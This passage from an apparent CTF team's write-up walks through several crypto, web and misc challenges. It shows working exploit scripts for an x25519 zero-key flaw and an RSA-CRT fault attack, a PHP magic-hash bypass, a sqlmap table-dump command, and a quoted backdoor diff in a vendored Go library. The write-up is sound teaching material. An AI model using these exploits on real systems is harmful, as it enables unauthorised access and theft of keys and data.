We’re able to clean this decompilation up a bit more through some little hacks. In the code, we see many dereferences to addresses like 0x2000XXXX. This area is actually the RAM for the microcontroller, which is 32kb in size. We can make Binary Ninja map this section by adding 32kb of null bytes to the end of the image and manually entering the section information when opening the binary with options. I used the following options when opening the modified binary:

fixed load options

The encryption function now looks like this:

decomp after fixed load options

Carefully reading over the function, I see that it’s very similar to the Enigma cipher. If you’re not familiar with how the Enigma machine works, read about it on its Wikipedia page. In this function, we can see what looks like our 3 rings, plus some fourth set of characters. Initially, we assumed that this was the reflector. However, this function does not properly use this string as a reflector. Instead of having a pair of letters which would switch with each other, it indexes into the string as if it functioned as another ring. This means that you can’t simply throw the strings into a tool like CyberChef and solve it.

Another challenge is that the offsets of the rings may not be initialized to 0 at the start of encryption, so we would need to bruteforce the offsets. The following script reimplements the encryption function and bruteforces for the flag.

#!/usr/bin/env python3
import sys
from itertools import product
 
 
def enigma(plain_text, offset1, offset2, offset3):
    ring1 = "YKNQXBMOVZPIAEJCSDLGRTUFWH"
    ring2 = "ZXVALNTFMJQBCPYWURSOKDEHIG"
    ring3 = "RETAIGBSJNUWYXZLPVKCDMQOFH"
    reflector = "YGQNVUBROLTJZDIWCHXKFEPSAM"
 
    output = ""
 
    for char in plain_text:
        if ord(char) < ord('A') or ord(char) > ord('Z'):
            output += char
            continue
 
        char = ring1[(offset1 + ord(char) - ord('A')) % 26]
        char = ring2[(offset2 + ord(char) - ord('A')) % 26]
        char = ring3[(offset3 + ord(char) - ord('A')) % 26]
        char = reflector[ord(char) - ord('A')]
 
        for i in range(26):
            if ring3[i] == char:
                char = chr(((i - offset3 + 26) % 26) + 65)
                break
 
        for i in range(26):
            if ring2[i] == char:
                char = chr(((i - offset2 + 26) % 26) + 65)
                break
 
        for i in range(26):
            if ring1[i] == char:
                char = chr(((i - offset1 + 26) % 26) + 65)
                break
 
        output += char
 
        offset1 = (offset1 + 1) % 26
        if offset1 == 0:
            offset2 = (offset2 + 1) % 26
            if offset2 == 0:
                offset3 = (offset3 + 1) % 26
 
    return output
 
 
enc = "KKPE{FJZBSVNBYWWOKOJIPNWGPGASCVVYPAYLAHTX}"
 
for x, y, z in product(range(26), repeat=3):
    dec = enigma(enc, x, y, z)
    if dec.startswith("FLAG"):
        print(dec)
        break

To be honest, most of the time spent on this challenge wasn’t on figuring out what the code was doing, but rather getting the script to work. I accidentally wasn’t converting back to a string after the math in the if statements, so the following if statements would try to compare a string to an integer, which would always return false. After fixing this mistake, the script worked as intended and was able to decipher the flag.


Cryptography

[00:26:48] Where’s My Key?

Solver
Category
crypto
Points
150
Files
wheres-my-key?.zip
Flag
flag{0000_wh0_knew_pub_keys_c0uld_be_bad_0000}

The flag server is providing encrypted flags. It looks like there might be a bug in the code and I can’t figure out how to decrypt it. nc 54.85.45.101 8001

x25519 is implementing a scheme that involves scalar multiplication of a point, hence we can submit a point that is 0 (b'\x00'*32), and the secret key will be 0 (b'\x00'*32)

> nc 54.85.45.101 8001
> {"client_pub":"0000000000000000000000000000000000000000000000000000000000000000"}
< {"iv": "a4b176cbbc167285a25d81c923e02ac0", "ct": "16eeaae1c55f7cd3ec3b16c91c7c240f6e61b730a3875c114a9775127f721b5b823dc657c067125c3c07058fb1b7"}
data = {"iv": "a4b176cbbc167285a25d81c923e02ac0", "ct": "16eeaae1c55f7cd3ec3b16c91c7c240f6e61b730a3875c114a9775127f721b5b823dc657c067125c3c07058fb1b7"}
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
cipher = Cipher(algorithms.AES(b"\x00"*32), modes.CTR(bytes.fromhex(data["iv"])))
decryptor = cipher.decryptor()
print(decryptor.update(bytes.fromhex(data["ct"])) + decryptor.finalize())

[00:37:24] Glitch in the Crypt: Exploiting Faulty RSA Decryption

Solver
Category
crypto
Points
200
Files
glitch-in-the-crypt.zip
Flag
flag{cr4ck1ng_RS4_w1th_f4ul7s}

A high-security server, SecureVault Inc., uses RSA encryption to protect sensitive data. The server utilizes a 1024-bit RSA key and employs the CRT optimization during decryption to improve performance. Due to a hardware fault, the server occasionally introduces errors during the decryption process. Specifically, the fault affects the computation of mp=cdpmodpm_p = c^{d_p} \bmod p during the CRT step, causing mpm_p to be incorrect, while mq=cdqmodqm_q = c^{d_q} \bmod q remains correct. As an experienced cryptanalyst, you have managed to obtain access to the server’s decryption service. Your goal is to exploit the faulty decryption results to recover the prime factors pp and qq of the RSA modulus nn, effectively breaking the encryption scheme and recovering the private key. nc 54.85.45.101 8010

This computes, for an input cc, the crt of mp=cdpm_p = c^{d_p} mod\text{mod} pp and mq=cdqm_q = c^{d_q} mod\text{mod} qq, and takes the crt to find m=cdm = c^d mod\text{mod} nn. When there is a fault, it randomizes mpm_p. If this is the case, mm mod\text{mod} pp 0\neq 0, but mm mod\text{mod} qq 0\neq 0, hence q=gcd(mec,n)q = \gcd(m^e - c, n). To exploit this, we submit 0x0 repeatedly to the server, until we get a decryption that is not 0x0:

Send your ciphertext in hex format:
0x0
Decrypted message (hex): 0x44f25fbf6944263697fc1a7fb202cdddfb9ae822a3b405fb46db447a0ca3e6ae95d51ea4ded8d5fca856625459fdc62701b14f5af9bd34e16d38e6535ea928868c0c1435ee9bd87ff36a5cd9e137a531375d40
Note: Fault occurred during decryption.

We can then take the GCD of this and nn to get the factorization of the secret key:

from math import gcd
n = 30392456691103520456566703629789883376981975074658985351907533566054217142999128759248328829870869523368987496991637114688552687369186479700671810414151842146871044878391976165906497019158806633675101
q = gcd(0x44f25fbf6944263697fc1a7fb202cdddfb9ae822a3b405fb46db447a0ca3e6ae95d51ea4ded8d5fca856625459fdc62701b14f5af9bd34e16d38e6535ea928868c0c1435ee9bd87ff36a5cd9e137a531375d40, n)
p = n // q
phi = (p-1)*(q-1)
e = 0x10001
d = pow(e, -1, phi)

We then grab a flag encryption from the server:

Send your ciphertext in hex format:
flag
Encrypted flag (hex): 0x3939dad4ba6dfe1d4c203e9c2acfde66493cac762d80114c7f740af92268725b7b16afd060594dd0153b26d7651be7e50061a4149d718e5b51305925dfb237844ee231d418e005aaa0701297c79e9a5e144ab0
Flag length (bytes): 30

And decrypt using our recovered dd:

c = 0x3939dad4ba6dfe1d4c203e9c2acfde66493cac762d80114c7f740af92268725b7b16afd060594dd0153b26d7651be7e50061a4149d718e5b51305925dfb237844ee231d418e005aaa0701297c79e9a5e144ab0
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))

[00:42:37] Sizer Cipher

Category
crypto
Points
100
Files
sizer-cipher.zip

I made my own encryption scheme- check it out! 052c01be88c7f52cbdc3c084c7b1313828034370034dd13778342dff nc 54.85.45.101 8003

After messing around a bit, we can notice the following:

  1. It encrypts pairs of bytes, starting from the end (if odd length first byte is encrypted alone) (also does some weird leading 0 stripping)
  2. The output for 2 chars together is first char * 0x40 + second char

So we write a script to extract mapping for char to number, then decrypt the flag:

from string import printable
from pwn import *
 
printable = "{}abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
things = {}
 
for i in printable:
    io = remote('54.85.45.101', 8003)
    io.sendline(i)
    things[int(io.recv().strip().decode(), 16)] = i
    io.close()
 
a = "2c01be88c7f52cbdc3c084c7b1313828034370034dd13778342dff"
out = "f"
 
while a:
    n = a[:3]
    out += things[int(n, 16)//0x40] + things[int(n, 16)%0x40]
    a = a[3:]
print(out)

Web Exploitation

[02:03:56] Juggl3r

Solvers
Z ZeroDayTea
Category
web
Points
200
Files
juggl3r.zip
Flag
flag{juggl3_inject}

The admin panel seems locked behind some odd logic, and the flag is hidden deep. Can you bypass the checks and uncover the secret? http://54.85.45.101:8080/

The description provides a link to http://54.85.45.101:8080/. It redirects us to http://54.85.45.101:8080/login.php with a classic login interface:

Screenshot 2024-11-13 at 10.32.47 PM

Initially, we suspected it was something about Apache (Apache/2.4.54). However, looking at the title we know it’s a PHP juggler issue. By sending a array in the password, we can reasonagly assume the structure looks like this:

(hash('sha256', $_POST['password']) == $stored_hash)

Screenshot 2024-11-13 at 10.33.15 PM

Where if we try to make hash start with 0e, PHP interprets this as scientific notation and the hash is treated as a float in comparison operations as referenced here. This is also called “magic hashes.”

We just submited TyNOQHUS as the password, which redirects us to /admin.php?user_id=1 and then using user_id[]=1 we can see this error:

Screenshot 2024-11-13 at 10.33.26 PM

This tells us it’s a SQL injection. The rest is an easy sqlmap and flag:

sqlmap -r ./a.txt --level 5 --risk 3 --tamper=charencode -T flags -C flag --dump

Screenshot 2024-11-13 at 10.41.35 PM

[03:03:01] go-moth 🩸

Category
web
Points
250
Files
go-moth.zip
Flag
flag{85d680bbb5103431d31d9413e29c7f6f}

The challenge description only contains a URL to http://54.85.45.101:8004/.

Opening it, we see a mostly blank page with a (bad) quote, and a footer filled with various links. Off to the side, there’s a GitHub icon though, maybe that will give us more information.

Challenge website

https://github.com/alokmenghrajani/go-moth finding this link, we can see the source of the challenge!

Looking through the source, we can see the main code where the quotes are coming from:

api/moth.go
func (s *state) mothHandler(w http.ResponseWriter, r *http.Request) {
    hours, _, _ := time.Now().Clock()
    moth := s.plaintextMoths[hours%len(s.plaintextMoths)]
    w.Header().Set("Content-Type", "application/json")
    w.Header().Set("Cache-Control", "max-age=3600")
    fmt.Fprint(w, utils.MustMarshal(mothResponse{Moth: moth}))
}

Where’s state coming from, and what’s plaintextMoths, though?:

api/api.go
type state struct {
    ...
    encryptedMoths [][]byte
    plaintextMoths []string
}
...
func Start() {
    ...
    mothRaw := utils.MustRead(staticContent, "moth.json")
    json.Unmarshal(mothRaw, &s.encryptedMoths)
 
    for i := 0; i < len(s.encryptedMoths); i++ {
        plaintext := utils.Decrypt(s.encryptedMoths[i])
        s.plaintextMoths = append(s.plaintextMoths, string(plaintext))
    }
    ...
}

Ok, so it reads from moth.json. Opening moth.json on GitHub, we see there was a commit saying “Oops, we forgot the flag.” and it adds a 24th element to the array:

GitHub commit

But wait, going back to how it’s used in moth.go, it’s indexed by hours in the day:

moth := s.plaintextMoths[hours%len(s.plaintextMoths)]

You might know time goes to 23:59:59 before going to 0:00:00. There is no 24th hour, so we will never see the plaintextMoth corresponding to the flag. This is when we shifted focus to other parts of the source.

Maybe focusing on how it encrypts and decrypts will help? api.go was calling Decrypt() from utils, how does it decrypt? Opening utils.go we see this:

utils.go
//go:embed aes.key
var AesKey []byte
 
func Encrypt(plaintext []byte) []byte {
    for len(plaintext)%aes.BlockSize != 0 {
        plaintext = append(plaintext, 0)
    }
 
    blockCipher, err := aes.NewCipher(AesKey)
    PanicOnErr(err)
 
    cbcEncrypter := cipher.NewCBCEncrypter(blockCipher, make([]byte, aes.BlockSize))
    ciphertext := make([]byte, len(plaintext))
    cbcEncrypter.CryptBlocks(ciphertext, plaintext)
    return ciphertext
}
 
func Decrypt(ciphertext []byte) []byte {
    blockCipher, err := aes.NewCipher(AesKey)
    PanicOnErr(err)
    cbcEncrypter := cipher.NewCBCDecrypter(blockCipher, make([]byte, aes.BlockSize))
    plaintext := make([]byte, len(ciphertext))
    cbcEncrypter.CryptBlocks(plaintext, ciphertext)
    return plaintext
}

So a file called aes.key is embedded into the Go file as a variable called AesKey. AesKey is then used in the Encrypt() and Decrypt() functions. Maybe we can extract the AesKey now somehow? However, there’s no local file inclusion or anything. Let’s keep looking.

For some reason, the web server library used by the app, gorilla/mux, was all contained in the vendor/ directory.

Because of the unusual inclusion of the dependency directly in the source, we decided to diff the actual source with the source contained in this repo. This will show us if any malicious changes were made.

After running the diff, we can clearly see the web server code is modified to send the AesKey when certain conditions are met!

vendor/github.com/gorilla/mux/route.go
+ func init() {
+     re := regexp.MustCompile(`^[1-9][0-9]{18}[1-9][0-9]{18}$`)
      ...
+     if r.Method == "GET" {
+         resp, err := http.Get(u)
+         if err != nil {
+             w.WriteHeader(http.StatusBadRequest)
+             return
+         }
          ...
+         body, err := io.ReadAll(r.Body)
+         if err != nil {
+             return
+         }
+         bodyString := string(body)
+         if re.MatchString(bodyString) {
+             a := big.NewInt(0)
+             a.SetString(bodyString[0:19], 10)
+             b := big.NewInt(0)
+             b.SetString(bodyString[19:], 10)
+             a.Mul(a, a)
+             b.Mul(b, b)
+             a.Add(a, b)
+             if a.String() == bodyString {
+                 fmt.Fprint(w, utils.AesKey)
+             }
+         }
+         fmt.Fprint(w, string(body2))
...

Those conditions boil down to:

a2+b2=a1019+ba^2 + b^2 = a \cdot 10^{19} + b

Throwing that into WolframAlpha, we get some solutions we can try to throw at the server:

Wolfram Solutions

Ignoring ones that obviously don’t match the regex, 9864629288998116810 and 1155587244919948276 worked, satisfying those conditions and giving us the AesKey:

> curl -X GET http://54.85.45.101:8004 --data '98646292889981168101155587244919948276'
 
[33 73 145 207 76 213 162 244 30 253 160 245 181 62 189 135 112 56 254 198 170 198 17 135 96 128 132 199 70 158 168 45]
<html>...

Now all that’s left to do is decrypt the 24th encryptedMoth in moth.json:

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import base64
 
key = bytes([33, 73, 145, 207, 76, 213, 162, 244, 30, 253, 160, 245,
            181, 62, 189, 135, 112, 56, 254, 198, 170, 198, 17, 135,
            96, 128, 132, 199, 70, 158, 168, 45])
 
ciphertext = base64.b64decode("KQTAvnBi16hxdZbrphukoVVZEzbbRBPqJA5GAvizVCpnMavP0VOA20dgJX/FsKxT")
cipher = Cipher(algorithms.AES(key), modes.CBC(b'\x00' * 16), backend=default_backend())
plaintext = cipher.decryptor().update(ciphertext) + cipher.decryptor().finalize()
print(plaintext)

And we get the flag!


Miscellaneous

[03:00:45] 2048 ai

Solver
Category
misc
Points
150
Files
2048-ai.zip
Flag
flag{f4st3r_th4n_hum4nly_p0ssibl3}

Can you speedrun 2048? nc 54.85.45.101 8006

This challenge is very similar to the pwn challenges, but there are no vulnerabilities to exploit. We must simply reach 2048 in a legitimate manner, the only caveat being that we have a timeout, so we must do it quickly with a script.

At first I tried to do a bruteforcey solution where I would spam s and a, typically the safest moves, and only use d or w when absolutely necessary, but this only resulted in a high of 512 and the board would get quickly cluttered. Eventually, I caved and used an AI solution as the challenge name intended.

I utilized the following tool. The setup was very simple as it was just a single python script to run and using its manual mode, it would receive the board state line by line and print out the next best move. Then, individual adjustments can be made on where the new block appears, but I instead opted to rerun the script everytime which was possible due to the VERY generous timeout. The rest was just some parsing and prompting the script:

from pwn import *
 
p = remote('54.85.45.101', 8006)
 
moves = {b'left': b'a', b'down': b's', b'right': b'd', b'up': b'w'}
 
for _ in range(10000):
    board = p.recvuntil(b'Enter', drop=True)
    if board.count(b'1024') > 1:
        print(board.decode())
        print("WIN")
        break
    if _ % 10 == 0:
        print(board.decode())
    board = board.strip().split(b'\n')
    p.recvuntil(b': ')
    board = [i.strip().replace(b'     ', b' ') for i in board]
 
    s = process(['python3', '2048.py', '-b', 'manual'], cwd='2048-ai')
    for i in board:
        s.sendline(i)
    s.sendline()
    s.recvuntil(b'EXECUTE MOVE: ')
    move = s.recvline().strip()
    s.close()
 
    p.sendline(moves[move])
 
p.interactive()

Conclusion

Thanks again to the organizers for a great event! Winning this garnered us over 100 ctftime points putting us at 11th globally. More importantly, we were finally given a good reason to make another blog post on this site! Hope you found something useful here 🙂